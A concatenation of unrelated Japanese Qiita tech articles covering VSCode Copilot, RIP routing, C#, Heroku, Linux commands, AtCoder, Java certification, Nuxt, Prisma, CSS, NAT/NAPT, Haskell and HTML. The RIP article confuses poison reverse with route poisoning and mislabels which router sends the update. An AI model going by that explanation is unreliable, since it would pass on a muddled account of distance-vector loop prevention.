OmniAICreator/Qiita-1.07M huggingface dataset:
【VSCode】GitHub Copilot ChatでCSVファイルを分析する方法

Data Analysis for Copilotという拡張機能を導入することでCSVファイルを分析できるようになります。

https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-copilot-data-analysis

Data Analysis for Copilotをインストールすると`@data`が使用可能になります。
`@data #<file name>を分析してください`のようにプロンプトを入力するとCSVファイルを分析できます。
ポイズンリバースとピンポン現象：ルーティングループを防ぐ仕組み


ネットワークの学習を進める中で、「ポイズンリバース」と「ピンポン現象」という言葉に出会うことがあると思います。これらは、ルーティングプロトコルにおいて重要な概念であり、特に**距離ベクトル型プロトコル（RIPなど）** では不可欠なものです。

本記事では、ポイズンリバースとピンポン現象について、分かりやすく解説していきます。

---

## ポイズンリバースとは？
**ポイズンリバース（Poison Reverse）** は、ネットワーク経路が到達不能になった場合、その情報を他のルータに無限大メトリックで通知する仕組みです。  
これにより、誤ってループが発生しないように、周囲のルータに「この経路は無効」と知らせる役割を果たします。

### ポイズンリバースの目的

ポイズンリバースは、**ルーティングループ（ピンポン現象）** が発生するのを未然に防ぐための方法です。通常、ルータは自分が保持している経路情報を他のルータにアドバタイズしますが、到達不能な経路に関しては無限大メトリック（RIPでは16）で通知することで、ループを防ぎます。

### ポイズンリバースの動作

以下の例で、ポイズンリバースがどのように動作するかを確認してみましょう。

1. **ネットワークの状態変化**  
   例えば、ルータA、ルータB、ルータCが直列に接続されており、ルータCがネットワークCに接続されているとします。あるとき、**ネットワークCがダウン**してしまいます。

2. **ルータBがポイズンリバースで通知**  
   ルータCは、ネットワークCに到達できないことを確認した後、無限大メトリックで「ネットワークCには到達不能」とルータBに通知します。この通知を**ポイズンリバース**と呼びます。

3. **ルータAへの伝播**  
   ルータBもこの情報を受け取り、ルータAに「ネットワークCは到達不能」と無限大メトリックでアドバタイズします。

こうして、ネットワークCへの経路は無効とされ、他のルータが誤ってその経路を使わないように防止できるのです。

---

## ピンポン現象とは？

**ピンポン現象**は、ルータが到達不能な経路情報を互いに誤って交換し続けることによって、**メトリックがどんどん増加し、最終的に無限大に達する**現象です。これは、距離ベクトル型プロトコル特有のループ問題です。

### ピンポン現象の発生条件

ポイズンリバースが動作せず、ルータが互いに「到達可能」と誤解する場合にピンポン現象が発生します。特に、**ルータ自体がダウン**した場合にはポイズンリバースが動作しないため、ルータ間でメトリックが増加していきます。

### ピンポン現象の例

1. **ルータCのダウン**  
   ルータCがダウンしたと仮定します。ルータBとルータAは、ルータC経由でネットワークCに到達できると誤解し続けます。

2. **メトリックの増加**  
   ルータBは「ルータA経由で行ける」と思い、メトリックを1つ増やして通知し、ルータAも同様に「ルータB経由で行ける」と考えます。この**誤った経路情報がピンポン状にやり取り**され、メトリックが増加していきます。

3. **メトリックが16に達する**  
   最終的に、メトリックが16（RIPの場合）に達し、「到達不能」として経路情報が削除されます。

### ピンポン現象とポイズンリバースの違い

| 特徴 | ポイズンリバース | ピンポン現象 |
| --- | --- | --- |
| 発動条件 | 接続先ネットワークのダウン時 | ルータ自体のダウン時 |
| 通知内容 | 到達不能を無限大メトリックで即座に通知 | 誤って経路を交換し続け、最終的に16で無効化 |
| ループ防止効果 | 未然にループを防ぐ | メトリックが無限大に達するまでループが続く |

---

## ピンポン現象後の状態について

一度メトリックが16に達して「到達不能」となった経路は、ルーティングテーブルから削除されます。その後は、ポイズンリバースによる通知は不要となり、ピンポン現象は発生しなくなります。

---

## まとめ

- **ポイズンリバース**は、ネットワークが到達不能になった際、無限大メトリックで「到達不能」を周囲に通知し、ループを防ぐための仕組みです。
- **ピンポン現象**は、ルータ自体がダウンして誤った経路情報を交換し続けたときに発生し、メトリックが16に達することでループが止まります。
- 一度メトリックが16に達すると、経路情報が削除され、ピンポン現象が解消されます。
たった一行でエスケープ文字対応!?

　今回は[ParserScript 3.0](https://github.com/MueLangDeveloper/ParserScript-Ver.3.0)で使われたエスケープ文字の対応の仕方について書きます。
　実は、ParserScriptの開発に使っているC#言語ではタイトルにもある通り一行だけで実装部分が書けます。
# C#での実装方法
　では、どうやって実装するのかというと、これは実際のコードを書いた方がわかりやすいと思います。
```cs
using System;
using System.Linq;
using System.Text.RegularExpressions;

internal static class Converter
{
    public static string Replace(this string s) =>
        Regex.Replace(s, @"\\.",
        m => m.Value switch { "\\n" => "\n", "\\t" => "\t", "\\\"" => "\"", "\\\\" => "\\" });
}
```
# 終わりに
　C#言語ってなんかちょっとずるいですよね。C#言語で自作言語を作りたいと思う方は参考にしてください。
【Heroku】Herokuにdeployする内容をcommit単位で指定する

### 本記事の内容
production環境のHerokuにdeployする内容をbranch単位ではなくcommit単位で指定する方法について

### どのようなケースで使ったか
mainブランチをHerokuにデプロイしていたのですが、
そのmainブランチの内容を更新していてある時点のdeployでエラー発生。

Herokuにdeployしている内容を正常に動作している内容を戻したい、が
Herokuで正常に動作している時点で
mainブランチから別のブランチ(release_yyyymmddのようなブランチ)を切っていれば
よかったものの
mainブランチのまま突き進んでしまったという状況でした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/606327/aaca32c2-a6f6-e78c-3083-3cd31a26cc12.png)

### production環境のHerokuにdeployする内容をcommit単位で指定する
下記の手順で解決できました。
branch単位ではなくcommit単位でdeploy内容を指定することが可能です。

コミット履歴を確認し、正常に動作していた時点の内容のcommitのSHAを確認
```
git log
```

正常に動作していた時点のcommit内容に戻る
```
git checkout xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (正常に動作していた時点の内容のcommitのSHA)
```

下記コマンドで正常に動作していた時点のcommit内容をHerokuにpushします
```
git push heroku xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:main --force
```
[個人開発 11月号] アプリ100個作るまで！#2

## はじめに

### この記事でわかる・できること

- 個人開発者の軌跡

### この記事の対象者

- 個人開発者
- IT初学者
- 僕の個人開発が気になって、みに来てくれている先輩方


## 入稿の時間が空いた理由
なぜやる気がなくなってしまったのかというと、将来のエンジニア像が見えなくなっていたからです。尊敬できる先輩がいなければ、人生がつまらなく感じます。そのため、人生に絶望していました。

### 最近、やっていること順

GolangでAPI開発を行っていました。mentaのパクリアプリを開発したり、FlutterでAPIの接続を試みたりしました。また、自作のデータベースを作ろうとして失敗したり、FigmaでUIデザインを作成しようとしたりして、まあめちゃくちゃですわ。。。

Golang APIのコード　https://github.com/takuma123-type/go-api-study
flutterのコード　https://github.com/takuma123-type/menta_frontend
自作DBのコード https://github.com/takuma123-type?tab=repositories

figmaのUI
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1788291/8d9fca32-0e26-4625-e322-b50bf8d6aedf.png" alt="スクリーンショット" width="400"/>

### 再学習を決意
そもそも、開発を進める上で基盤となる技術が不足しているのではないかと感じています。そこで、低レイヤーの学習から始まり、自作CPU、自作OS、自作DB、アルゴリズムの学習、アプリ開発、ネットワークの学習といった順番で学んでいき、しっかりとした土台を作ることを目指しています。

なので、こちらのリファレンスを参考にして学習を進めてます。

https://vlsi.jp/LetsMakeCPU.html

https://youtu.be/egiO6opQfcA?si=6ZYP4h_BumhYrOKo

- githubでコードも管理してます。

https://github.com/takuma123-type/Verilog-ubuntu-docker
Linuxでよく使用するコマンド

## Linux
### 1. ファイル内のスペースを置換する
```bash
sed -i 's/ //g' ファイル名.txt
```

### 2. grep で引いた引数を別のコマンドに渡すことができます。
```bash
grep '検索文字列' ファイル名.txt | xargs -I {} echo '引数は: {}'
```
ABC378回答メモ

# 0.はじめに
　仕事が落ち着いてきたので平日たまにデイリートレーニングをしつつ臨んだ378回
　ABCはすんなり解け、Dを飛ばしてEにいったけど、解けずDに戻ったら
　とけて、結局4問正解。トレーニングの成果がでたのかも。
　レートは+8でギリギリ700に到達しました。


# 1.A - Pairing 
　4つの数字をリストに入れて、コレクションズのカウンター関数を利用して
　数字毎の個数をカウント。
　あとは、回答用変数に、カウンターの数が２と3の時１を
　4の時2を加算して最後に回答用変数を出力して終了。

　https://atcoder.jp/contests/abc378/submissions/59365134
　

# 2.B - Garbage Collection
　Bにしてはなかなかややこしい問題。
　まぁ、ややこしいだけなので、インプットを辞書に入れて
　Q毎に、ゴミ出しの日を出力するだけですんなり解けました。

　https://atcoder.jp/contests/abc378/submissions/59367729


# 3.C -  Repeating
　内容的にはBより簡単に感じるくらいでした。
　キーを数字、値を位置とする辞書と回答用空リストBを用意
　リストを読んでいって、
　辞書にあったら、辞書の値にセットした位置を
　無かったら-1をBに格納。
　最後にＢを出力して終了とし、正解となりました。

　https://atcoder.jp/contests/abc377/submissions/59172528


# 4.D - Count Simple Paths
　最初回避しましたが、よくあるDFSの問題。
　端っこの計算をしなくて済むように、受け取った
　マップの周り(0＆N+1行、0＆N+1列、)に#をあてはめて、スタート。
　回答用ansをグローバル変数で用意。
　マップの1,1から、"."だったらDFS関数へ。
　DFS関数では、位置と何歩目かを受け取り、何歩目かが、Kだったらansに1を加算
　そうでなければ、地図のi,jを"#"に変更。
　上下左右それぞれ行ける場所があったら、DFS関数を呼び出し。
　関数の最後は地図のi,jを"."に変更。

　結構雑に作りましたが、例題にも正解出来たので、提出したらACでした。

　https://atcoder.jp/contests/abc378/submissions/59389648


以上
Java Gold(1Z0-816 Java SE 11)の合格体験記と勉強方法

# はじめに
Java Goldを取得したため、その体験記を残します。

私のスペックは以下です。

- 2023年4月入社（当時新卒2年目）
- 情報系大学院卒業
- 業務でJavaを使用
- Java Silver合格済み（Java Gold受験に必要）

業務でJavaを使っており、Javaの知識の定着を兼ねて試験を受けようと思いました。Java Silverは2024年8月に取得済みで、折角なのでJava Goldも受けようと思いました。

# 勉強方法
2~3週間、50時間程度の勉強量でした。Java Silverで丁寧に勉強していれば、思ったよりスムーズに仕上がると思います。

使用したのは、下記の本です。Java Silver/Goldでは定番とされている、通称「黒本」です。

https://book.impress.co.jp/books/1121101020

以下の流れで勉強しました。

#### 1~12章の学習（1回目）
下記の流れの学習を1~12章まで繰り返します。大体1日20問くらいで1週間ちょっとで終えました。
1. 1章分問題を解く
1. 正解・不正解に関わらず、問題の解説を読み、理解する
1. 解説を読んでイメージ付かない場合は、サンプルコードを写経して動かし理解を深める
1. 1~3が終わったら、**次の章に入る前に**その章の問題をもう1回解く
1. 4でよく分からない/間違えた問題の解説を読む

1回目で問題を解く時点では、4割も正解できないことが多いです。

**酷い時は17問中5問しか合っていないこともありました。そんなもんなので、気落ちせずどんどん進めましょう。**

#### 1~12章の仕上げ
13章の模擬問題に入る前に1~12章を仕上げます。3日くらいで終えました。

1. 1~12章の問題をもう1週解き、よく分からない/間違えた問題の解説を読む

1~12章の問題をほぼ全問正解できれば、模擬問題に入ります。

#### 模擬問題を解く

1. 13章の模擬問題を解く
1. 正解・不正解に関わらず、問題の解説を読む
1. 13章をもう1回全問題解き、よく分からない/間違えた問題の解説を読む

3日くらいでバーっと仕上げました。

1回目で13章を解いた結果は、80問中55問正解でギリギリ合格ラインに乗っているような状態でした。1~12章を仕上げても意外と正解できないですが、あまり気にしなくて良いです。

上記手順で勉強を進め、最終的に黒本に掲載された問題は全て正解できるなという状態にして試験に臨みました。

# 試験を受けた感想

結果は、86%で合格でした💮

Java Silverの時よりも、黒本と同じ問題・類題が多く出た感触です。黒本の問題（特に13章の問題）を全て解ける状態になっていれば、問題なく合格できると思います。

また、黒本内でも言及されているように、ストリームAPIとラムダ式に関する問題は非常に多いです。モジュール・システムとセキュアコーディングも一定出題されます。

# 資格を取った感想
正直、Java Goldを取っても実業務にすぐ活用はできないと思います。重箱の隅を突いているような問題も多いですし笑

ただ、Java Silver、Goldの取得を通してJavaの文法や思想に慣れた感触があり、以前よりコードリーディングの負荷が減った感覚があり、なんだかんだ取ってよかったと思っています。

# 今後の展望
2024年の内にJava Goldを取るのが目標でしたが、想像以上にスムーズに取得できて嬉しいです。

「業務ではOracleを使用している」「10月にデータベーススペシャリストを受験し、DBの知識を強化したい」といった理由から、次はOracle Master DBAを取得するつもりです。
↓
追記：取得しました

https://qiita.com/yamayamaKo/items/0d8f9bc54a19100e4add
AWS エンジニア入門口座をよんでのまとめ Chapter  1

AWSの入門テキストを購入したので学習したことをまとめる。

https://www.amazon.co.jp/AWS%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E5%85%A5%E9%96%80%E8%AC%9B%E5%BA%A7%E2%80%95%E2%80%95%E5%AD%A6%E7%BF%92%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97%E3%81%A7%E4%BD%93%E7%B3%BB%E7%9A%84%E3%81%AB%E5%AD%A6%E3%81%B6-CloudTech%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97%E4%BD%9C%E6%88%90%E5%A7%94%E5%93%A1%E4%BC%9A/dp/4297125374/ref=sr_1_1?crid=1WVIBNHS1D78K&dib=eyJ2IjoiMSJ9.9aVaWXgHpl1UBRf11NdrPAGkYBRY1RoEO8oA1K-jmDVRhjWcWeQeP5b7AiTRuNDLS2IuGf8Oy-5xmCmZ0h8iveFKpDkCwNtCx7IEvyGIHFSBcngKbbdzckkFhK3SD7HHSXeONx2DAKmq1s50VABCVNCNCI-y0eqlQ0_69aPkYmj9hBPFP86tuhGlh-JDofO-liVWGHfuiK9IdIaDyMUg5cMr8lZLyzOI46RR7LTHSBtfxAKbSFSC-RQRhV2U8ceb-T_sgttS08T0AWZEjzuyfpsFhNbLp_AdQsQ3Xxxswvw.XmBdHzEtHcAldSCOOOHmNMkptk8vnmS_5ISrmVPIgXA&dib_tag=se&keywords=aws%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E5%85%A5%E9%96%80%E8%AC%9B%E5%BA%A7&qid=1730553359&sprefix=aws%E3%81%88%E3%82%93%2Caps%2C168&sr=8-1


## Web３層アーキテクチャとは？

Webシステムを設計するうえで、処理負荷の分散やレスポンスの向上のベストプラクティス。
webサーバ、アプリケーションサーバ、データベースサーバがある

OSI参照モデルの7層となんか似てるけどちがう？

https://clouddirect.jp.fujitsu.com/service/navi-words-osi_reference_model


1. Webサーバ
    - プレゼンテーション層
    - クライアントからのリクエストが静的コンテンツ（文章、画像、ペライチのwebページなど）の場合はレスポンスを返す。動的コンテンツ（問い合わせ、検索、ログイン処理などユーザの要求次第でレスポンスが変わる）の場合はアプリケーションサーバに処理を委託する。

2. アプリケーションサーバ
    - アプリケーション層
    - 動的コンテンツを提供する。データの検索や更新、登録などの処理がある場合、データベースサーバに処理を依頼する。（プログラミング言語で処理を構築するのはここ）

3. データベースサーバ
    - データ層
    - アプリケーションサーバからのリクエストに応じて検索、登録、更新、削除（CRUD処理)を実行して、結果を返す。

自分でかいたものの、この方の説明の方がよっぽど分かりやすかったw。

https://qiita.com/thirai67/items/24517ce80d402bb152cf
NuxtjsにおけるRuntime（ランタイム）の概念とは？

Nuxtにおける「runtime」とは、アプリケーションの実行時（ランタイム）において動的に処理されるコードや設定を指す概念です。これは主に、ビルド時には確定せず、アプリケーションが実際にユーザーに提供されるとき（サーバー上やクライアント上で実行されるとき）に決まる情報や挙動を管理するために使われます。たとえば、以下のようなケースが該当します：

1. **APIエンドポイントや環境変数**
   プロジェクト内の`.env`ファイルなどで設定される環境変数や、エンドポイントURLのような外部依存の設定が、ビルド後に変更される場合があります。これらは、ランタイムに解決される必要があります。
2. **クライアントとサーバー間でのレンダリング**
   NuxtはSSR（Server-Side Rendering）とCSR（Client-Side Rendering）をサポートしています。特にSSRを使う場合、サーバーで初期レンダリングが行われ、クライアントに送られるHTMLが生成されますが、このときのサーバーサイドでの実行は「ランタイム」の一部です。
3. **MiddlewaresとPlugins**
   中間処理やプラグインは、アプリケーションの実行時に呼び出され、動的な処理を行うため、ランタイムの一部として動作します。
4. **Dynamically Imported Components**
   動的にインポートされるコンポーネントやモジュールも、ランタイムに影響を与えるものです。必要なときにのみ読み込むため、ビルド時には含まれず、ランタイムでリクエストされます。

ランタイムは、ビルド時に静的に決まる部分と対比される概念で、アプリケーションの柔軟性を高め、環境に応じた処理を可能にします。
Prisma でモデル名を取得したい


## はじめに

Prisma Client で Model 名(文字列)を使いたい場面に遭遇した。
Prisma は `node_modules/.prisma/client/index.d.ts` に型定義が存在する

## Model 名を取得する

以下に記載するような `schema.prisma` が定義されているとする。

```prisma:schema.prisma
model User {
  id   String  @id
  name String
}
```

`npx prisma generate` 等何でも良いので `node_modules/.prisma/client/index.d.ts` を生成する。
下記のように記述すれば ModelName を取得できる。

```ts
import { PrismaClient } from '@prisma/client';

const prisma = new PrismaClient();

prisma.user.name;
// -> User
```

全件欲しい場合は、以下のように記述すれば良い。

```ts
import { Prisma } from '@prisma/client';

Prisma.ModelName;
```

## Ref

https://github.com/prisma/prisma/blob/d16c516258887ba3f0c3d8429d9827a4826ebdd1/packages/client/tests/functional/extensions/model.ts#L674-L675
# React + CloudflareでEmojiミックスツールを作ってみた


## はじめに
[絵文字ミックス](https://emojimix.fun)というツールを開発しました。
2つの絵文字を組み合わせて新しい絵文字を作成できるWebアプリケーションです。

[![絵文字ミックス](https://emojimix.fun/social.png)](https://emojimix.fun)

## 技術スタック
- フロントエンド: React + TypeScript
- UI: Material-UI (MUI)
- インフラ: Cloudflare Pages + Workers
- ストレージ: Cloudflare R2

## 主な機能
- 10万以上の絵文字組み合わせ
- リアルタイムプレビュー
- 画像の遅延読み込み
- レスポンシブデザイン
- PWA対応

## 実装のポイント

### 1. パフォーマンス最適化
typescript
// 画像の遅延読み込み実装img
loading="lazy"
width="32px"
height="32px"
alt={data.alt}
src={getNotoEmojiUrl(data.emojiCodepoint)}


### 2. キャッシュ戦略
javascript
const corsHeaders = {
'Cache-Control': 'public, max-age=31536000, immutable',
'Surrogate-Control': 'max-age=31536000'
};

### 3. エラーハンドリング
typescript
try {
const data = await getEmojiData(emojiCodepoint);
} catch (err) {
console.error('Error loading emoji:', err);
setError(err instanceof Error ? err.message : 'Failed to load');
}

## まとめ
- Cloudflareのエコシステムを活用
- パフォーマンスとUXを重視
- 将来的な機能拡張も考慮

## 今後の展望
- 多言語対応
- アニメーション効果の追加
- PWA機能の強化

#React #TypeScript #Cloudflare #emoji
[CSS].cssファイルの編集内容が環境に反映されない

## はじめに
CSSはエディタやブラウザ上でエラー検出されないケースがあるので、CSSファイルの編集内容が環境に反映されないときの **最も基本的な調査観点** をまとめておこうと思います。

アプリ開発入門者向けとなりますが、エラー表示がない場合は本記事を参考にしてみてください！
## 調査観点
下記の基本的な事項を見落とし、時間のかかる複雑な調査をしがちなので注意！
特に括弧の過不足についてはありがちですが、盲点となりやすいです。
* コーディングミス
    * 原因のほとんどが括弧の過不足　括弧の対応関係をよく確認すること。
```hoge.css
.hoge {
    display: flex;
    flex-wrap: wrap;
    max-width: 500px;
/* 閉じ括弧がない */

.fuga {
    background-color: #e9f0f6;
    color: #535353;
    font-size: .9em;
}
```
* 古いキャッシュを利用している
    * ブラウザキャッシュをクリアする
    ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3519424/98a68e11-0a7d-154d-42d1-09d68f3f74ff.png)
    * 開発環境のキャッシュをクリアする
        * ex)Railsならアセットキャッシュをクリアし、アセットを再コンパイル
```:railsスケルトン構成を使用している場合
// アセットのキャッシュをクリア
$ rails assets:clobber
// アセットを再コンパイル
$ rails assets:precompile
```
## まとめ
エラー検出されずCSSファイルの内容が環境に反映されない場合、まずはコーディングミスまたはキャッシュが古いことを疑うと良いでしょう。それでも解決しない場合はより複雑で技術的な調査が必要です。
これからNuxt3を学ぶ人におすすめの入門書、4選

Nuxt.js 3を学び始める方におすすめの日本語の入門書をいくつかご紹介します。

1. [**『Nuxt.jsビギナーズガイド』**](https://amzn.to/40pFwXm "‌")
   - **概要**: Nuxt.jsの基本概念から実践的なアプリケーション開発までを網羅的に解説しています。
   - **おすすめポイント**: 初心者にも理解しやすいように、ステップバイステップで説明されています。
2. [**『Vue.js＆Nuxt.js超入門』**](https://amzn.to/40Bo02e "‌")
   - **概要**: Vue.jsとNuxt.jsの基本的な使い方を解説する入門書です。
   - **おすすめポイント**: サンプルアプリを開発しながら、両フレームワークの基本を押さえることができます。
3. [**『Nuxt.jsとFirebaseを使って爆速で何か作る前に読む本』**](https://amzn.to/40w5hoW "‌")
   - **概要**: Nuxt.jsとFirebaseを組み合わせて使う際のテクニックをまとめた書籍です。
   - **おすすめポイント**: 業務を通じて獲得したノウハウが詰まっており、実践的な内容が特徴です。
4. [**『Nuxt3 フロントエンド開発の教科書』**](https://amzn.to/3YzrtMc "‌")
   - **概要**: Nuxt 3の基本機能から、アプリケーション開発方法や本番環境へのデプロイまでを解説しています。
   - **おすすめポイント**: 初学者から中級者向けに網羅的に解説されており、教科書的な内容が特徴です。

これらの書籍を活用して、Nuxt.js 3の学習を進めてみてください。
これからOIDC認証を学ぶ人におすすめの入門書、5選

OpenID Connect（OIDC）認証を学び始める方に向けて、日本語で理解しやすい入門書をいくつかご紹介します。

1. [**『OAuth徹底入門 セキュアな認可システムを適用するための原則と実践』**（著者：Justin Riche）](https://amzn.to/3ArFzr5 "‌")
   - **概要**: OAuth 2.0の基本から実践的な実装方法までを詳しく解説しています。OIDCはOAuth 2.0を基盤としているため、この書籍で基礎を固めることができます。
   - **おすすめポイント**: 具体的なコード例や図解が豊富で、初心者にも理解しやすい内容となっています。
2. [**『Getting Started with Oauth 2.0』**（著者：Ryan Boyd ）](https://amzn.to/3C9rtel "‌")
   - **概要**: APIセキュリティの観点からOAuth 2.0を解説しており、OIDCの理解にも役立ちます。
   - **おすすめポイント**: 日本語訳はありませんが、技術用語が多く、英語が苦手な方でも比較的読みやすい内容です。
3. [**『今さら聞けない暗号技術＆認証・認可』（著者：大竹 章裕）**](https://amzn.to/4fwZDr1 "‌")
   - **概要**: OIDCとJWT（JSON Web Token）の実装について詳しく解説しています。
   - **おすすめポイント**: Webシステムのセキュリティを支える技術を幅広く解説しています。
4. [**『Web API: The Good Parts』**（著者：水野 貴明）](https://amzn.to/3UAVIkV "‌")
   - **概要**: Web APIの設計と実装に関するベストプラクティスを紹介しており、OIDCの実装にも応用できます。
   - **おすすめポイント**: 日本語で書かれており、具体的な例が多く、実践的な知識を得ることができます。
5. [**『SSOのキホン: はじめて学ぶシングルサインオン技術』**（著者：松田達也）](https://amzn.to/40tSCCM "‌")
   - **概要**: OIDC認証だけでなくSSO（シングルサインオン）の実現方法を解説しています。
   - **おすすめポイント**: Keycloakというソフトウェアを用いてシングルサインオン環境を構築し、実際に動かして、体験しながら学ぶことができます。

これらの書籍を通じて、まずはOAuth 2.0の基本を理解し、その上でOIDCの学習を進めることをおすすめします。また、実際に手を動かして実装してみることで、理解が深まるでしょう。
インターネットの仕組みまとめてみた(IPアドレス、ドメイン、DNS、NAPT)

## 学習背景
AWS関連資格取得のために学習を進めているが、どうしてもネットワーク周りの知識をつける必要がでてきた。
せっかくなので知識の整理もかねて「パソコンでwebサイトを閲覧する」際どういったことが起こっているのか、ほげ太郎くんがネットサーフィンをしている様子を例に①～⑦のステップに分けて徐々に理解できるようまとめてみる。
ある程度、知識が無い人でもわかるように書いたつもりだが、情報を端折っている部分もあるので、気になるワードなどは調べてもらえると！

## 出てくるワード
- IPアドレス
- グローバルIPアドレス
- プライベートIPアドレス
- ドメイン名
- DNS(ドメインネームサービス)
- ISP(インターネットサービスプロバイダー)
- NAT
- NAPT(IPマスカレード)

## ①IPアドレス
ある日ほげ太郎くんは思いました。
「よーし、今日もあべひろしのwebサイトでも見るか」
サイトを見るためにはIPアドレス(インターネット上の住所)が分かればよいです。

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/b3d91cd8-dce8-1709-cd8e-344e95ddf172.png)

## ②ドメイン名
ほげ太郎くんはあべひろしが大好きなのでIPアドレスまで知っていますが普通の人は知りません。
IPアドレスを人間が理解できる形に置き換えたのがドメイン名です。
たとえば、「example.co.jp」というドメイン名では、「example」が3LD、「.co」が2LD、「.jp」がTLDです。

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/c2067a96-4ec4-8121-d9a3-84a4b91b08b5.png)

## ③DNS
しかしドメイン名は人間語なのでコンピュータは理解できません。
そこでDNSサーバさんに頼んで「ドメイン名をIPアドレスに変換(正引き)」してもらいます。

![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/9e9683af-9dbe-3362-4329-89f1bceaaaed.png)

## ④グローバルIPアドレス
ところであべひろしのサイトはとあるwebサーバ上にあります。
ほげ太郎くんのパソコンから「222.158.205.72」へリクエストを送ると
webサーバはほげ太郎くんのパソコンにレスポンスとしてHTMLを返すのでサイトが見れるわけです。
ただ、webサーバから見るとほげ太郎くんのIPアドレスがないとどこにレスポンスを返せばよいのかが分かりません。
なのでほげ太郎くんのパソコンにもIPアドレスが設定されています。(厳密には違いますが、その話は後述)
これまで出てきたIPアドレスという言葉は全て「グローバルIPアドレス」を指しており、全世界で一意の値です。

![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/96237313-12b9-dbb5-73dc-c9b388bae8af.png)

## ⑤ISP
グローバルIPアドレスは数が限られており、ISP(インターネットサービスプロバイダー)が管理しています。
ISPとはNTTやKDDIなどの通信キャリアを指します。
なのでほげ太郎くんが自宅でネットワークを使うためには(グローバルIPアドレスを使うためには)、各種通信キャリア(ISP)と契約する必要があります。
あとはISPが勝手にグローバルIPアドレスを割り振ってくれます。
※ほげ太郎くんのパソコンのグローバルIPアドレスはそのときに空いているものが割り振られるので常に違います

![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/099ae325-b235-1226-e73f-e59fe365043f.png)

## ⑥プライベートIPアドレス、NAT
さてグローバルIPアドレスですが、実は直接パソコンに割り振られているわけではありません。
自宅を例に考えてみると、ほげ太郎くんのパソコンには「プライベートIPアドレス」が割り振られおり、
グローバルIPアドレスはルーターに割り振られています。
ネットワークにつなげるためにプライベートIPアドレスがグローバルIPアドレスへの変換が行われているのです。
このグローバルIPアドレスとプライベートIPアドレスを紐付けて変換する技術を「NAT」と言います。

![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/0bce0675-7042-21f4-7edc-0160b24dc922.png)

## ⑦NAPT(IPマスカレード)
おや、ほげ太郎くんの自宅に彼女が遊びにきたようです。
ほげ太郎「今日もあべひろしのサイト見るか」
ほげ美「ネイルサロンの予約しよっと」
どうやら二人は同時にネットサーフィンをするようです。
しかし困ったことにNATでは1つのグローバルIPアドレスで一度にインターネットができるのは1台だけで、複数台のパソコン等でインターネットはできません。
この問題を解決するのが、NAPT(IPマスカレード)です。
NATにポートの概念を持たせたパワーアップ版で、1つのグローバルIPアドレスと複数のプライベートIPアドレスをポート番号を利用してマッピングします。

![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3586050/3f98cb01-d2fb-6775-8be4-3f445252dfbc.png)

## 最後に
自分で調べてまとめてみると理解度がぐっと上がって良いと改めて思った。
DNSの仕組みやLANについては詳しく触れられなかったが、別の機会にまとめたい。

## 参考
LAN、ISP、インターネット
https://www.soumu.go.jp/hakusho-kids/life/what/what_03.html

NAPT(IPマスカレード)
https://wa3.i-3-i.info/word11979.html

DNS
https://www.xdomain.ne.jp/column/about-dns/
Haskellでラムダ計算をやってみる

Haskellでラムダ計算をやってみたいと思います。

転職のため某社の面談で「関数型言語をやっていますが、大丈夫ですか」と言われた。もともとオブジェクト指向言語の素晴らしさに気づいて、pythonをやり続けていたが、関数型にも興味があった。調べてみると、Haskellというのがあるらしい。少し続けていくと、なんか昔興味を持っていたChurchのラムダ計算に似ていることに気づいた。これは運命のめぐりあわせかもしれないと思い、Haskellを学び始めた。そこでラムダ計算をHaskellでできないかと挑戦してみた。

参考にしたのは以下の記事：

https://arxiv.org/abs/0804.3434v1

二乗する関数はラムダ記法では以下のようになる。
$$\lambda x.x^2$$関数を二重に適用する操作は$$\lambda x.f(f(x)$$となり、関数$f$も盛り込んで書くと、$$\lambda f.\lambda x.f(f(x))$$となる。
この２つの関数を合成して変数に$5$を与えると、$$((\lambda f.\lambda x.f(f(x)))(\lambda y.y^2))(5)$$
となります。
これをHaskellで表現すると以下のようになった。
```
ghci> doublef f x = f (f x)
ghci> square y = y * y
ghci> main = (doublef square) (5)
ghci> main
625
```
5を二乗したもの$5*5=25$に二乗を適用して、$25^2=625$となりきちんと計算されているね。

### 演習1 ###
$$(((\lambda f.\lambda x.f(f(f(x))))(\lambda g.\lambda y.g(g(y))))(\lambda z.z+1))(0)$$

三重の関数適用、二重の関数適用、１増加の３つの関数が組み合わさったものです。Haskellで書くと、
```
-- exercise1.hs
triplef f x = f (f (f x))
doublef g y = g (g y)
add1 x = x + 1
main = do
    print $ ((triplef doublef) add1) (0)
```

```
ghci> :load exercise1
[1 of 2] Compiling Main             ( exercise1.hs, interpreted )
Ok, one module loaded.
ghci> main
8

```
あれ？なぜ8になるのかな？
誰か理由が分かったら教えてください。

Haskellの本はこれを買いました。

https://amzn.to/4g5kgef

参考図書

[プログラミングHaskell 第2版](https://amzn.to/49sNZvf)
Ｗｅｂデザイン入門（先行リリース版）HTML/CSS基礎 ~HTML TML/CSSでWebサイトの記述をしていこう！~


・ ブロックを紙に書き出すことから始めて、html、css、reset.cssを準備
・前章で習ったreset.cssにコピペ
・key visual(=kv visual)はコンテンツや画像においてメインのイメージ画像のことでマークアップをしていく
・各セクション（About、Servide）のマークアップをしていく
・マークアップをする際は、あとで見返してわかるようにコメントアウトする
例えば、

というふうにコメントアウトした始まりと終わりの間に

や、<p class=""xxxxxx>を入力する
html記述後、css記述をしていく
cssも同様にあとで見返してもわかるようにコメントアウトしていく
例えば、
/* ----------------------------- /
